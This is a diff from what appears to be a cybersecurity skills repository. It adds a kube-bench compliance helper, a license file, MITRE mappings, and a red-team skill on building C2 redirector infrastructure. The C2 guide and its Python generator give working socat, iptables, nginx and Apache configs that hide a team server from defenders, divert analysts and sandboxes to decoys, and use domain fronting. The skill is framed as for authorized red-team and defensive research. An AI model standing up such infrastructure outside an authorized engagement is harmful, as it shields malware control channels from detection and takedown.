| Technique ID | Name | Tactic | Rationale |
|--------------|------|--------|-----------|
| T1610 | Deploy Container | Execution / Defense Evasion | CIS hardening verified by kube-bench restricts privileged/host-namespace container deployment, anonymous API access, and insecure kubelet settings adversaries abuse to deploy containers. |
## Supporting Frameworks and Standards
- **CIS Kubernetes Benchmark** — the authoritative source standard kube-bench implements (control-plane, etcd, node, policy controls).
- **CIS Benchmarks for EKS / GKE / AKS / OpenShift** — managed-distribution variants kube-bench supports via dedicated benchmark profiles.
- **NSA/CISA Kubernetes Hardening Guidance** — complementary hardening recommendations overlapping CIS controls.
- **PCI DSS / SOC 2** — kube-bench JSON/JUnit output supports configuration-compliance evidence.
## Official Resources
- kube-bench: https://github.com/aquasecurity/kube-bench
- kube-bench docs: https://aquasecurity.github.io/kube-bench/
- CIS Kubernetes Benchmark: https://www.cisecurity.org/benchmark/kubernetes
- Running guide: https://github.com/aquasecurity/kube-bench/blob/main/docs/running.md
- Platforms guide: https://github.com/aquasecurity/kube-bench/blob/main/docs/platforms.md
@@ -0,0 +1,144 @@
#!/usr/bin/env python3
"""kube-bench helper.
Runs kube-bench with JSON output, parses the CIS Kubernetes Benchmark
results, summarises PASS/FAIL/WARN/INFO totals per section, lists failing
checks with their remediation, and optionally exits non-zero when failures
exist (for CI/CD compliance gating).
Requires the `kube-bench` binary on PATH (or run inside the aquasec/kube-bench
container). See https://github.com/aquasecurity/kube-bench
"""
import argparse
import json
import shutil
import subprocess
import sys
from collections import Counter
from datetime import datetime, timezone
def ensure_kube_bench() -> str:
"""Return the kube-bench path or exit with install guidance."""
path = shutil.which("kube-bench")
if not path:
print("[!] kube-bench not found on PATH. Install: "
"https://github.com/aquasecurity/kube-bench/releases",
file=sys.stderr)
sys.exit(2)
return path
def run_kube_bench(binary: str, targets: str, benchmark: str, timeout: int) -> dict:
"""Execute kube-bench with JSON output and return the parsed report."""
cmd = [binary, "run", "--targets", targets, "--json"]
if benchmark:
cmd += ["--benchmark", benchmark]
print(f"[*] running: {' '.join(cmd)}")
try:
proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
except subprocess.TimeoutExpired:
print(f"[!] kube-bench timed out after {timeout}s", file=sys.stderr)
sys.exit(3)
# kube-bench may exit non-zero when checks fail; results are still on stdout.
if not proc.stdout.strip():
print(f"[!] kube-bench produced no output (rc={proc.returncode}): "
f"{proc.stderr.strip()}", file=sys.stderr)
sys.exit(proc.returncode or 4)
try:
return json.loads(proc.stdout)
except json.JSONDecodeError:
print("[!] Could not parse kube-bench JSON output.", file=sys.stderr)
print(proc.stderr.strip(), file=sys.stderr)
sys.exit(4)
def iter_checks(report: dict):
"""Yield (section_id, section_text, check) tuples across all controls."""
# kube-bench JSON: top-level "Controls" -> "tests" -> "results".
controls = report.get("Controls")
if controls is None and isinstance(report, list):
controls = report
for control in controls or []:
for section in control.get("tests", []) or []:
sid = section.get("section", "")
stext = section.get("desc", "")
for check in section.get("results", []) or []:
yield sid, stext, check
def summarise(report: dict):
"""Return overall Counter, per-section Counters, and failing checks."""
overall = Counter()
per_section = {}
failures = []
for sid, stext, check in iter_checks(report):
state = (check.get("status") or "").upper()
overall[state] += 1
per_section.setdefault(sid, [stext, Counter()])
per_section[sid][1][state] += 1
if state in ("FAIL", "WARN"):
failures.append({
"section": sid,
"id": check.get("test_number"),
"desc": check.get("test_desc"),
"status": state,
"remediation": (check.get("remediation") or "").strip(),
})
return overall, per_section, failures
def main() -> None:
parser = argparse.ArgumentParser(description="kube-bench CIS compliance helper")
parser.add_argument("--targets", default="master,node",
help="Comma list: master,node,etcd,policies,controlplane")
parser.add_argument("--benchmark", default="", help="Pin benchmark, e.g. cis-1.8")
parser.add_argument("--timeout", type=int, default=300, help="Run timeout (s)")
parser.add_argument("--show-remediation", action="store_true",
help="Print remediation text for each failing check")
parser.add_argument("--fail-on-warn", action="store_true",
help="Treat WARN as gating in addition to FAIL")
parser.add_argument("--gate", action="store_true",
help="Exit non-zero when failing checks exist")
parser.add_argument("--output", help="Write JSON summary to file")
args = parser.parse_args()
binary = ensure_kube_bench()
report = run_kube_bench(binary, args.targets, args.benchmark, args.timeout)
overall, per_section, failures = summarise(report)
print(f"\n=== kube-bench summary {datetime.now(timezone.utc).isoformat()} ===")
for state in ("PASS", "FAIL", "WARN", "INFO"):
print(f" {state:<5}: {overall.get(state, 0)}")
print("\n--- Per section ---")
for sid in sorted(per_section):
text, counts = per_section[sid]
print(f" [{sid}] {text}: "
f"PASS={counts.get('PASS',0)} FAIL={counts.get('FAIL',0)} "
f"WARN={counts.get('WARN',0)}")
print(f"\n--- Findings requiring action ({len(failures)}) ---")
for f in failures:
print(f" {f['status']} {f['id']}: {f['desc']}")
if args.show_remediation and f["remediation"]:
print(f" -> {f['remediation']}")
if args.output:
with open(args.output, "w", encoding="utf-8") as fh:
json.dump({"overall": dict(overall), "failures": failures}, fh, indent=2)
print(f"[+] Summary written to {args.output}")
if args.gate:
blocking = overall.get("FAIL", 0)
if args.fail_on_warn:
blocking += overall.get("WARN", 0)
if blocking > 0:
print(f"[!] GATE FAILED: {blocking} non-compliant checks", file=sys.stderr)
sys.exit(1)
print("[+] Done.")
if __name__ == "__main__":
main()
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,214 @@
---
name: building-c2-redirector-infrastructure
description: Architect redirectors with nginx and Apache, malleable profiles, and OPSEC
for resilient C2.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- c2-infrastructure
- redirector
- nginx
- apache-mod-rewrite
- malleable-c2
- opsec
- traffic-filtering
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- DE.CM-01
mitre_attack:
- T1090.002
---
# Building C2 Redirector Infrastructure
> **Authorized Use Only:** This skill is for authorized red-team engagements, adversary-emulation exercises, and defensive research only. Command-and-control infrastructure is dual-use; deploying redirectors to control malware on systems you are not explicitly authorized to test is illegal. Operate only inside an agreed scope with a signed rules-of-engagement document, and decommission infrastructure when the engagement ends.
## Overview
A C2 redirector is an intermediary host that sits between victim implants and the real team server. Beacons connect to the redirector's public domain/IP; the redirector inspects each request and either proxies legitimate C2 traffic back to the hidden team server or diverts everything else (scanners, blue-team analysts, sandboxes) to a benign decoy site. This protects the team server from discovery, takedown, and attribution, and lets operators rotate the public edge without rebuilding the backend. The technique maps to MITRE ATT&CK **T1090.002 (Proxy: External Proxy)** — adversaries route C2 through an intermediary node to obscure the true origin.
Redirectors come in two flavors. **Dumb pipes** (socat, iptables NAT) blindly forward a port and provide separation but no filtering. **Smart/filtering redirectors** (nginx `proxy_pass`, Apache `mod_rewrite` with `[P]`, or purpose-built tools like RedWarden) parse HTTP requests and only forward traffic that matches the implant's Malleable C2 profile — correct URI, User-Agent, headers — while sending everything else a `302` to a real website. The filtering logic is derived directly from the C2 framework's traffic profile, so the two must stay in lock-step. Tools such as `cs2modrewrite` automate generating Apache/nginx rules from a Cobalt Strike Malleable C2 profile.
This skill covers building both dumb and filtering redirectors with nginx and Apache, deriving filter rules from a malleable profile, layering TLS with Let's Encrypt, and applying OPSEC controls (categorized domains, domain fronting/CDN fronting, header validation, geo/UA filtering) for resilient, low-attribution infrastructure.
## When to Use
- Standing up red-team C2 that must survive blue-team triage and domain takedown requests.
- Separating a hidden team server from any internet-facing host during an engagement.
- Filtering implant traffic so only profile-matching requests reach the backend, diverting scanners.
- Adding TLS termination, domain categorization, and CDN/domain fronting to an HTTP(S) listener.
- Teaching defenders how external-proxy C2 (T1090.002) is constructed so they can detect it.
## Prerequisites
- One or more disposable cloud VPS instances (the redirector edge) and a separate, firewalled team-server host.
- A registered domain with controllable DNS, ideally aged/categorized.
- Root on the redirector host. Install the web server and TLS tooling:
```bash
# Debian/Ubuntu redirector
sudo apt update
sudo apt install -y nginx apache2 socat certbot python3-certbot-nginx git
# Enable Apache proxy modules if using mod_rewrite redirector
sudo a2enmod rewrite proxy proxy_http ssl headers
```
- The C2 framework's Malleable C2 profile (Cobalt Strike `.profile`, Sliver/Havoc HTTP profile) defining URIs, User-Agent, and headers.
- `cs2modrewrite` to auto-generate rules from a Cobalt Strike profile:
```bash
git clone https://github.com/threatexpress/cs2modrewrite
```
- Firewall the team server so it only accepts the redirector's source IP on the C2 port.
## Objectives
- Deploy a dumb-pipe redirector (socat/iptables) for fast port separation.
- Deploy a filtering nginx reverse-proxy redirector keyed to a malleable profile.
- Deploy an Apache `mod_rewrite` redirector with `[P]` proxying and `302` decoy fallback.
- Auto-generate redirector rules from a Cobalt Strike profile with `cs2modrewrite`.
- Terminate TLS with Let's Encrypt and harden the public edge.
- Apply OPSEC: header/UA validation, geo filtering, decoy diversion, and infra rotation.
## MITRE ATT&CK Mapping
| Technique ID | Official Name | Relevance |
|--------------|---------------|-----------|
| T1090.002 | Proxy: External Proxy | The redirector is an external intermediary that proxies C2 to hide the team server |
| T1090.004 | Proxy: Domain Fronting | CDN fronting routes beacon traffic through a trusted high-reputation domain |
| T1071.001 | Application Layer Protocol: Web Protocols | C2 is tunneled over HTTP/HTTPS shaped by the malleable profile |
| T1573.002 | Encrypted Channel: Asymmetric Cryptography | TLS termination at the redirector encrypts the beacon channel |
| T1583.006 | Acquire Infrastructure: Web Services | Disposable VPS/CDN edges are acquired for resilient C2 |
## Workflow
### 1. Lab and firewall the team server
Place the team server on a private host. Restrict its C2 port to the redirector's IP only.
```bash
# On the team server: only the redirector (203.0.113.10) may reach 443/tcp
sudo ufw default deny incoming
sudo ufw allow from 203.0.113.10 to any port 443 proto tcp
sudo ufw allow OpenSSH
sudo ufw enable
```
### 2. Dumb-pipe redirector (socat / iptables)
For quick separation with no filtering, forward the C2 port to the team server.
```bash
# socat foreground forward of 443 -> team server
socat TCP4-LISTEN:443,fork,reuseaddr TCP4:10.0.0.2:443
# Or iptables DNAT (persistent)
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2:443
iptables -t nat -A POSTROUTING -p tcp -d 10.0.0.2 --dport 443 -j MASQUERADE
```
### 3. Filtering nginx reverse-proxy redirector
Only proxy requests whose URI matches the malleable profile; send everything else a `302` to a decoy. Replace the location regex and User-Agent with values from your profile.
```nginx
# /etc/nginx/sites-available/redirector.conf
server {
listen 443 ssl;
server_name cdn.example.com;
ssl_certificate /etc/letsencrypt/live/cdn.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/cdn.example.com/privkey.pem;
# Proxy ONLY profile-matching C2 URIs to the hidden team server
location ~ ^/(api/v2/jobs|cm/[a-z0-9]+|push) {
# Require the implant's exact User-Agent
if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") {
return 302 https://www.legitimate-decoy.com/;
}
proxy_pass https://10.0.0.2;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
# Everything else -> benign decoy
location / {
return 302 https://www.legitimate-decoy.com/;
}
}
```
```bash
sudo ln -s /etc/nginx/sites-available/redirector.conf /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx
```
### 4. Apache mod_rewrite redirector
Apache's `[P]` flag proxies matching requests to the team server; non-matches get a `302` redirect. This is the format `cs2modrewrite` produces.
```apache
# /etc/apache2/sites-available/redirector.conf (inside <VirtualHost *:443>)
RewriteEngine On
SSLProxyEngine On
# Require the implant User-Agent
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" [NC]
# Match valid C2 URIs (GET/POST/stager) from the malleable profile
RewriteCond %{REQUEST_URI} ^/(api/v2/jobs|cm/[a-z0-9]+|push)/?$
# Proxy to the hidden team server, preserving the URI
RewriteRule ^.*$ https://10.0.0.2%{REQUEST_URI} [P,L]
# Everything else -> decoy site
RewriteRule ^.*$ https://www.legitimate-decoy.com/ [R=302,L]
```
```bash
sudo a2ensite redirector && sudo apache2ctl configtest && sudo systemctl reload apache2
```
### 5. Generate rules from a malleable profile
Let `cs2modrewrite` build the Apache or nginx rules directly from your Cobalt Strike profile so the filter exactly matches beacon traffic.
```bash
cd cs2modrewrite
# Apache mod_rewrite rules
python3 cs2modrewrite.py -i havex.profile -c https://10.0.0.2 \
-r https://www.legitimate-decoy.com -o /etc/apache2/redirect.rules
# nginx config
python3 cs2nginx.py -i havex.profile -c https://10.0.0.2 \
-r https://www.legitimate-decoy.com -H cdn.example.com > /etc/nginx/sites-available/c2.conf
```
### 6. Terminate TLS with Let's Encrypt
Issue a valid certificate so beacon HTTPS does not throw TLS warnings and the edge looks legitimate.
```bash
sudo certbot --nginx -d cdn.example.com --agree-tos -m ops@example.com --redirect
# Verify auto-renewal
sudo certbot renew --dry-run
```
### 7. Apply OPSEC controls
Layer defenses against blue-team analysis: validate headers, geofence to the target country, divert sandboxes, and rotate edges. Consider CDN/domain fronting (T1090.004) where supported.
```bash
# Example: drop non-target geographies at the firewall with ipset/GeoIP,
# require a custom auth header in the profile, and rotate the redirector
# domain/IP on a schedule. Check the redirector only forwards matched traffic:
curl -k https://cdn.example.com/ # expect 302 to decoy
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
https://cdn.example.com/api/v2/jobs # expect proxied response
```
## Tools and Resources
| Tool | Purpose | Source |
|------|---------|--------|
| nginx | Filtering reverse-proxy redirector | https://nginx.org/ |
| Apache mod_rewrite | `[P]` proxy + `302` decoy redirector | https://httpd.apache.org/docs/current/mod/mod_rewrite.html |
| cs2modrewrite | Generate Apache/nginx rules from CS profile | https://github.com/threatexpress/cs2modrewrite |
| RedWarden | Malleable-aware filtering C2 reverse proxy | https://github.com/mgeeky/RedWarden |
| redi | Automated nginx + Let's Encrypt CS redirector | https://github.com/taherio/redi |
| socat | Dumb-pipe TCP forwarder | http://www.dest-unreach.org/socat/ |
| Let's Encrypt / certbot | Free TLS certificates | https://certbot.eff.org/ |
| ired.team | Red-team infrastructure reference | https://www.ired.team/offensive-security/red-team-infrastructure |
## Validation Criteria
- [ ] Team server firewalled to accept only the redirector source IP on the C2 port.
- [ ] Redirector deployed (dumb pipe and/or filtering reverse proxy).
- [ ] Filter rules derived from the actual malleable C2 profile (URI + User-Agent + headers).
- [ ] Non-matching requests return a `302` to a benign decoy site (verified with curl).
- [ ] Matching beacon requests are proxied to the hidden team server (verified with curl).
- [ ] Valid TLS certificate issued and auto-renewal confirmed.
- [ ] OPSEC controls applied (UA/header validation, geofencing, decoy diversion).
- [ ] Domain categorization / CDN fronting considered where applicable.
- [ ] Infrastructure rotation and decommissioning plan documented.
- [ ] All activity confined to the authorized engagement scope.
@@ -0,0 +1,65 @@
# C2 Redirector — Directives & Tooling Reference
## nginx reverse-proxy directives
| Directive | Purpose |
|-----------|---------|
| `location ~ ^/regex` | Match profile C2 URIs |
| `proxy_pass https://TEAMSERVER;` | Forward matched traffic to team server |
| `proxy_ssl_verify off;` | Skip cert verification to backend |
| `proxy_set_header Host $host;` | Preserve Host header |
| `if ($http_user_agent != "...") { return 302 ...; }` | UA validation |
| `return 302 https://DECOY/;` | Divert non-C2 to a benign site |
## Apache mod_rewrite directives
| Directive | Purpose |
|-----------|---------|
| `RewriteEngine On` | Enable rewriting |
| `SSLProxyEngine On` | Allow HTTPS proxying |
| `RewriteCond %{HTTP_USER_AGENT} "..."` | Match implant User-Agent |
| `RewriteCond %{REQUEST_URI} ^/c2/path` | Match profile URIs |
| `RewriteRule ^.*$ https://TEAMSERVER%{REQUEST_URI} [P,L]` | Proxy match to backend |
| `RewriteRule ^.*$ https://DECOY/ [R=302,L]` | Redirect non-match to decoy |
Required modules: `rewrite proxy proxy_http ssl headers` (`a2enmod`).
## cs2modrewrite invocation
```bash
# Apache rules from a Cobalt Strike profile
python3 cs2modrewrite.py -i PROFILE.profile -c https://TEAMSERVER \
-r https://DECOY -o redirect.rules
# nginx config
python3 cs2nginx.py -i PROFILE.profile -c https://TEAMSERVER \
-r https://DECOY -H your.domain > c2.conf
```
| Flag | Meaning |
|------|---------|
| `-i` | Input Cobalt Strike malleable profile |
| `-c` | C2 team server URL (proxy target) |
| `-r` | Redirect URL for non-matching requests |
| `-o` | Output rules file (Apache) |
| `-H` | Hostname (nginx) |
## Dumb-pipe forwarders
```bash
socat TCP4-LISTEN:443,fork,reuseaddr TCP4:TEAMSERVER:443
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination TEAMSERVER:443
```
## TLS (certbot)
```bash
certbot --nginx -d your.domain --agree-tos -m ops@you --redirect
certbot renew --dry-run
```
## External References
- mod_rewrite flags ([P], [R], [L]): https://httpd.apache.org/docs/current/rewrite/flags.html
- nginx proxy module: https://nginx.org/en/docs/http/ngx_http_proxy_module.html
- cs2modrewrite: https://github.com/threatexpress/cs2modrewrite
@@ -0,0 +1,32 @@
# Standards and References — Building C2 Redirector Infrastructure
## MITRE ATT&CK References
| Technique ID | Name | Tactic | Rationale |
|-------------|------|--------|-----------|
| T1090.002 | Proxy: External Proxy | Command and Control | The redirector is the external proxy node that hides the team server |
| T1090.004 | Proxy: Domain Fronting | Command and Control | CDN fronting routes C2 through a trusted high-reputation domain |
| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control | C2 is tunneled over HTTP/HTTPS shaped by the malleable profile |
| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control | TLS termination at the redirector encrypts the channel |
| T1583.006 | Acquire Infrastructure: Web Services | Resource Development | Disposable VPS/CDN edges acquired for resilient C2 |
## NIST Cybersecurity Framework 2.0
| ID | Name | Rationale |
|----|------|-----------|
| DE.CM-01 | Networks and network services are monitored to find potentially adverse events | Redirector-fronted C2 is the adverse traffic defenders must detect; building it informs detection of T1090.002 |
## Official Resources
- MITRE ATT&CK T1090.002: https://attack.mitre.org/techniques/T1090/002/
- Apache mod_rewrite: https://httpd.apache.org/docs/current/mod/mod_rewrite.html
- nginx proxy_pass docs: https://nginx.org/en/docs/http/ngx_http_proxy_module.html
- cs2modrewrite: https://github.com/threatexpress/cs2modrewrite
- RedWarden: https://github.com/mgeeky/RedWarden
- ired.team redirectors/forwarders: https://www.ired.team/offensive-security/red-team-infrastructure/redirectors-forwarders
## Key Research
- RedOps: Cobalt Strike — CDN / Reverse Proxy Setup
- ired.team: Red Team Infrastructure Wiki
- threatexpress: cs2modrewrite project documentation
@@ -0,0 +1,125 @@
#!/usr/bin/env python3
# For authorized red-team engagements and defensive research only.
# Deploying C2 infrastructure outside an agreed scope is illegal.
"""C2 redirector configuration generator and validator.
Generates a filtering nginx reverse-proxy redirector config from a set of C2
URI patterns + implant User-Agent (mirroring what cs2modrewrite/cs2nginx do),
and validates a live redirector: matching requests should proxy to the backend
while non-matching requests must be diverted (302) to a decoy.
"""
import argparse
import json
import sys
from datetime import datetime, timezone
NGINX_TEMPLATE = """server {{
listen 443 ssl;
server_name {domain};
ssl_certificate /etc/letsencrypt/live/{domain}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{domain}/privkey.pem;
location ~ {uri_regex} {{
if ($http_user_agent != "{user_agent}") {{
return 302 {decoy};
}}
proxy_pass {teamserver};
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}}
location / {{
return 302 {decoy};
}}
}}
"""
def build_uri_regex(uris):
"""Turn a list of C2 URIs into an nginx location regex."""
cleaned = [u.strip().lstrip("/") for u in uris if u.strip()]
if not cleaned:
sys.exit("[!] No C2 URIs provided")
return "^/(" + "|".join(cleaned) + ")"
def generate_config(args):
"""Render the nginx redirector config."""
cfg = NGINX_TEMPLATE.format(
domain=args.domain,
uri_regex=build_uri_regex(args.uri),
user_agent=args.user_agent,
teamserver=args.teamserver,
decoy=args.decoy,
)
if args.output:
with open(args.output, "w") as f:
f.write(cfg)
print(f"[+] nginx redirector config written to {args.output}")
else:
print(cfg)
def validate_redirector(args):
"""Probe a live redirector: decoy on miss, proxy on match."""
try:
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
sys.exit("[!] pip install requests for --validate")
base = f"https://{args.domain}"
report = {"checked": datetime.now(timezone.utc).isoformat(), "results": []}
# 1. Non-matching request should be diverted (302/redirect to decoy)
r1 = requests.get(base + "/", allow_redirects=False, verify=False, timeout=15)
diverted = r1.status_code in (301, 302) and args.decoy.rstrip("/") in \
r1.headers.get("Location", "")
report["results"].append({"check": "non_c2_diverted", "status": r1.status_code,
"location": r1.headers.get("Location"), "pass": diverted})
# 2. Matching request (correct UA + C2 URI) should be proxied (not 302-decoy)
c2_path = "/" + args.uri[0].strip().lstrip("/").split("|")[0]
r2 = requests.get(base + c2_path, headers={"User-Agent": args.user_agent},
allow_redirects=False, verify=False, timeout=15)
proxied = not (r2.status_code in (301, 302) and
args.decoy.rstrip("/") in r2.headers.get("Location", ""))
report["results"].append({"check": "c2_proxied", "path": c2_path,
"status": r2.status_code, "pass": proxied})
print(json.dumps(report, indent=2))
return all(x["pass"] for x in report["results"])
def main():
p = argparse.ArgumentParser(description="C2 redirector config generator/validator")
sub = p.add_subparsers(dest="cmd", required=True)
g = sub.add_parser("generate", help="Generate an nginx redirector config")
g.add_argument("--domain", required=True, help="Public redirector domain")
g.add_argument("--teamserver", required=True, help="https://team-server backend URL")
g.add_argument("--decoy", required=True, help="Decoy site URL for non-C2 traffic")
g.add_argument("--uri", required=True, nargs="+", help="C2 URI patterns (no leading /)")
g.add_argument("--user-agent", required=True, help="Implant User-Agent string")
g.add_argument("--output", help="Write config to file")
v = sub.add_parser("validate", help="Probe a live redirector")
v.add_argument("--domain", required=True, help="Public redirector domain")
v.add_argument("--decoy", required=True, help="Expected decoy URL")
v.add_argument("--uri", required=True, nargs="+", help="C2 URI patterns")
v.add_argument("--user-agent", required=True, help="Implant User-Agent string")
args = p.parse_args()
if args.cmd == "generate":
generate_config(args)
elif args.cmd == "validate":
ok = validate_redirector(args)
sys.exit(0 if ok else 1)
if __name__ == "__main__":
main()
@@ -28,6 +28,32 @@ mitre_attack:
- T1484.002
- T1078.004
- T1110.003
mitre_f3:
version: '1.1'
tactics:
- initial-access
- positioning
techniques:
- id: F1006
name: Account Takeover
tactic: initial-access
source: f3
- id: F1006.002
name: 'Account Takeover: Exposed Login Credential'
tactic: initial-access
source: f3
- id: T1110.003
name: 'Brute Force: Password Spraying'
tactic: initial-access
source: attack
- id: T1550
name: Use Alternate Authentication Material
tactic: initial-access
source: attack
- id: F1004
name: Access with Stolen Session Cookie
tactic: initial-access
source: f3
---
# Building Identity Federation with SAML Azure AD
@@ -34,6 +34,33 @@ mitre_attack:
- T1078
- T1531
- T1087
mitre_f3:
version: '1.1'
tactics:
- positioning
- defense-impairment
- initial-access
techniques:
- id: F1005
name: Account Manipulation
tactic: positioning
source: f3
- id: F1005.002
name: 'Account Manipulation: Add Authorized User'
tactic: positioning
source: f3
- id: F1033
name: Insider Access Abuse
tactic: initial-access
source: f3
- id: F1042
name: Reactivate Account
tactic: positioning
source: f3
- id: F1006
name: Account Takeover
tactic: initial-access
source: f3
---
# Building Identity Governance Lifecycle Process
@@ -19,6 +19,30 @@ mitre_attack:
- T1598.003
